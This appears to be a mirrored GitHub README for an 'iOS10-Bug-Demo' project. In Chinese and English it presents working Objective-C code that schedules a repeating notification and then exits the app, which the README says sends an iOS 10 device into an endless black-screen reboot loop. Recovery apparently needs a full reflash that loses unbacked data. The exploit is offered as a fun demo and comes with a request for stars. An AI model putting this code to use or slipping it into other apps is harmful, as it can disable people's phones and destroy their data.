GithubHelp home page GithubHelp logo

ios10-bug-demo's Introduction

iOS10-Bug-Demo

preview 

preview 

让iOS系统崩溃无限黑屏重启,这里分享一下Demo,建议在虚拟机跑,无限重启后选择虚拟机reset content and settings就可以恢复。

友情提示:别在真机跑,不然真机也会无限重启,只能通过iTunes调试模式重新刷机恢复,数据未备份会全部丢失。

觉得好玩顺手点一个star,前期说谢谢啦。


--- 使用方法: ============== 1.点击准备按钮,同意app发送通知。
2.点击开始按钮,app崩溃,设备无限黑屏重启。

--- English ============== Let ios10 crash and restart by circle. You can try it both on simulator and device.
Tip: If you run it on device, you can only reinstall the system with iTunes.
1.Click ready button, allow app authorization.
2.Click start button, app clash, and device restart again and again.

--- Code ============== ```objective-c UNMutableNotificationContent *content = [[UNMutableNotificationContent alloc] init]; content.badge = @2; content.body = @"body"; content.sound = [UNNotificationSound defaultSound]; content.subtitle = @"subtitle"; content.title = @"title";
 NSDate *date = [NSDate new];		
 NSDateFormatter *formatter = [NSDateFormatter new];		
 [formatter setDateFormat:@"yyyy"];		
 NSInteger currentYear=[[formatter stringFromDate:date] integerValue];		
 [formatter setDateFormat:@"MM"];		
 NSInteger currentMonth=[[formatter stringFromDate:date]integerValue];		
 [formatter setDateFormat:@"dd"];		
 NSInteger currentDay=[[formatter stringFromDate:date] integerValue];		
 [formatter setDateFormat:@"HH"];		
 NSInteger currentHour=[[formatter stringFromDate:date] integerValue];		
 [formatter setDateFormat:@"mm"];		
 NSInteger currentMinute=[[formatter stringFromDate:date] integerValue];		
 [formatter setDateFormat:@"ss"];		
 NSInteger currentSecond=[[formatter stringFromDate:date] integerValue];		
 		
 if (currentSecond + 2 > 59) {		
     currentMinute = currentMinute + 1;		
     currentSecond = 0;		
 } else {		
     currentSecond = currentSecond + 2;		
 }		
 		
 NSDateComponents *components = [NSDateComponents new];		
 components.year = currentYear;		
 components.month = currentMonth;		
 components.day = currentDay;		
 components.hour = currentHour;		
 components.minute = currentMinute;		
 components.second = currentSecond;		
 		
 UNCalendarNotificationTrigger *trigger = [UNCalendarNotificationTrigger triggerWithDateMatchingComponents:components repeats:YES];		
 UNNotificationRequest *request = [UNNotificationRequest requestWithIdentifier:@"" content:content trigger:trigger];		
 [[UNUserNotificationCenter currentNotificationCenter] addNotificationRequest:request withCompletionHandler:^(NSError * _Nullable error) {		
     exit(0);		
 }];		

ios10-bug-demo's People

Contributors

joker-388 avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.